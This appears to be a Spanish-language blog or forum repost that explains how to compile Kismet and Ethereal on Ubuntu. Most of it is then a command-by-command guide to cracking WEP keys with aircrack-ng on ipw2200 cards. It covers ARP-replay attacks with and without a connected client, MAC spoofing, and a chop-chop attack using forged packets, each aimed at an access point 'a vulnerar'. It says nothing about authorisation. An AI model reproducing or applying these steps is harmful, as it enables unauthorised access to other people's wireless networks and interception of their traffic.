Instalacion de kismet en Ubuntu
Nos vamos a Synaptic y actualizamos estas librerias :
cerras y abris una terminal :
Código:
wget http://www.kismetwireless.net/code/kismet-2006-04-R1.tar.gz
tar zxvf kismet-2006-04-R1.tar.gz
cd kismet-2006-04-R1/
sudo ./configure
sudo make dep
sudo make
sudo make install
con eso ya esta instalado ,ahora hay que configurarlo :
en la terminal ...
Código:
sudo gedit /usr/local/etc/kismet.conf
en la linea
Código:
# User to setid to (should be your normal user)
suiduser=tu_user <------ en mi caso blunt
y poco mas abajo ..
para que funcione en modo monitor (habitual):
Citar
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
source=ipw2200,eth1,ipw2200
source=ipw2200,eth1,ipw2200
para que funcione en modo promiscuo (gracias a Fok) :
seria editar la misma linea ,pero de esta manera ...
Citar
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
source=ipwlivetap,eth1,ipw2200_rtap
source=ipwlivetap,eth1,ipw2200_rtap
mas aki : http://foro.elhacker.net/index.php/topic,139111.msg665116.html#msg665116
lo poneis segun esta .
ya lo siguiente es desde la terminal :
Código:
sudo kismet
espero que al menos esto os entretenga
si ves erratas ....
saludos
___________________________________________________________
Instalacion de Ethereal
[/size][/color]Continuamos instalando programas utilies para nuestros propositos , Ethereal es un programa basico para este tema y he decidido incluirlo en el manual , tiene bastantes dependencias para ser instalado en Ubuntu , pero en unos cuantos pasos lo tendremos corriendo en nuestro sistema ,a lio:
Abrimos el gestor de paquetes Synaptic y actualizamos las siguientes librerias de la misma forma que hicimos con kismet:
libpcap-dev
libpcre3-dev
libkrb53
libadns1-dev
libbeecrypt6-dev
libcurl3-gnutls-dev
Una vez hecho esto abrimos una terminal y nos dirigimos a nuestro directorio personal.Ahi ,podemos crear una carpeta llamada 'herramientas' por ejemplo (por tener las cosas ordenadas) y nos introducimos en ella :
Código:
cd /home/personal/
mkdir herramientas
cd /herramientas
bajamos la aplicacion:
Código:
wget http://www.ethereal.com/distribution/ethereal-0.99.0.tar.gz
y procedemos a instalar :
descomprimimos el tar ..
Código:
tar zxvf ethereal-0.99.0.tar.gz
entramos en el directorio creado...
Código:
cd ethereal-0.99.0/
instalamos..
Código:
sudo ./configure
sudo make
sudo make install
hecho esto ya lo tenemos listo para ejecutar ,desde la consola :
Código:
sudo ethereal
saludos
_____________________________________________________________________________________________
Dados los problemas que tienen 'algunos' en instalar las headers y build-essentials al carecer de internet en los primeros pasos de la instalacion , he decidido incluir su instalacion desde el cd de instalacion :
Instalacion de kernel-headers y build-essentials desde cd de instalacion
[/size][/color]para instalar las headers o build essentials NO hace falta tener inet , solo te hace falta el cd de instalacion , una vez arrancado el sistema , introduces el cd , y te aparecera esta imagen :
haces click en iniciar gestor de paketes ...
click en buscar :
buscas : headers
seleccionas las que correspondan a tu kernel , esto lo averiguas haciendo en la terminal :
Código:
uname -r
y aplicas los cambios ..
lo mismo con build-essentials ...
despues solo tienes que bajarte el driver de tu dispositivo e instalarlo .. con el tipico sudo make y sudo make install ... suponiendo que no te de errores y funcione en ubuntu ese driver ..
enlaces para no perder :
http://foro.elhacker.net/index.php/topic,139111.msg665648.html#msg665648
http://www.bluntmen.com/ipw2200-1.1.4-inject.patch
___________________________________________________________________
Extension de uso de la suite aircrack-ng con ipw2200
[/color][/size]Ataque con cliente conectado :
para sniffar en busca de redes :
Código:
sudo airodump-ng rtap0
una vez localizado , copiamos el BSSID del ap , la MAC del cliente (STATION) el canal y hacemos lo siguiente :
Código:
sudo airodump-ng -b bssid -c canal --ivs -w pruebas rtap0
reinyeccion de ARP's con cliente , en otra consola hacemos lo siguiente:
Código:
sudo aireplay-ng --ipwsys -3 -b bssid_ap -h mac_station -x 1024 -g 1000000 -i rtap0 eth1
una vez tengais mas de 500.000 datas (ivs) podeis ejecutar en otra consola :
Código:
sudo aircrack-ng *.ivs
o esto por poner una opcion bastante efectiva :
Código:
sudo aircrack-ng *.ivs -y
ya sabeis , un par de minutos , y si no suelta la clave ...mas ivs .
Ataque sin cliente asociado:
lo primero , cambiamos la MAC :
Código:
sudo ifconfig eth1 down
sudo ifconfig eth1 hw ether 00:11:22:33:44:55
sudo ifconfig eth1 up
ahora sniffamos todos los canales en busca del ap a vulnerar:
Código:
sudo airodump-ng rtap0
copiamos la MAC del ap (BSSID) , y nos ponemos a sniffa esa MAC en el canal en el que se encuentra :
Código:
sudo airodump-ng -b bssid_ap -c canal --ivs -w pruebas rtap0
ahora en otra consola nos asociamos al ap :
Código:
sudo iwconfig eth1 essid "essid del ap" key FFFFFFFFFFFFFF
y lanzamos aireplay-ng con nuestra MAC :
Código:
sudo aireplay-ng --ipwsys -3 -b bssid_ap -h 00:11:22:33:44:55 -x 1024 -g 1000000 -i rtap0 eth1
y a esperar que caiga el ARP .. y empiecen a subir los data..
cuando haya suficientes data para lanzar el aircrack-ng , pues igual que en el anterior caso , en otra consola:
Código:
sudo aircrack-ng *.ivs
ó :
Código:
sudo aircrack-ng *.ivs -y
Ataque chop-chop sin cliente
citado textualmente del siguiente post de este hilo , explicado a la perfeccion por redkey :
http://foro.elhacker.net/index.php/topic,139111.msg689749.html#msg689749
Probado y funcionando , si bien hay que tener en cuenta las siguientes premisas apuntadas por thefkboss en este post :
http://foro.elhacker.net/index.php/topic,139111.msg690282.html#msg690282
ya que no todos los ap's tienen el mismo rango de ip's ..
Primero cambiamos la MAC de nuestro dispositivo:
Código:
fconfig eth1 up hw ether 00:11:22:33:44:55
ifconfig rtap0 up
Ahora nos ponemos a ver con quien probamos:
Código:
airodump-ng rtap0
Y una vez fjado el objetivo cancelamos y volvemos a lanzar:
Código:
airodump-ng -b <> -c < > -w captura rtap0
Ahora generamos el xor necesario. No pregunta si queremos utilizar el paquete y decimos que si.
Código:
aireplay-ng --ipwsys -4 -a <> -h 00:11:22:33:44:55 -i rtap0 eth1
En otra ventana nos asociamos al AP:
Código:
iwconfig eth1 essid <>
iwconfig eth1 key FFFF-FFFF
Generamos el paquete que vamos a reinyectar. Las ips son las que queramos.
Código:
arpforge-ng <> 1 < > 00:11:22:33:44:55 192.168.1.10 192.168.1.1 output.cap
Empezamos a meter el paquete generado:
Código:
aireplay-ng --ipwsys -2 -r output.cap eth1
Y Para finalizar el ataque 3:
Código:
aireplay-ng --ipwsys -3 -b <> -h 00:11:22:33:44:55 -x 100 -i rtap0 eth1
saludos

No hay comentarios:
Publicar un comentario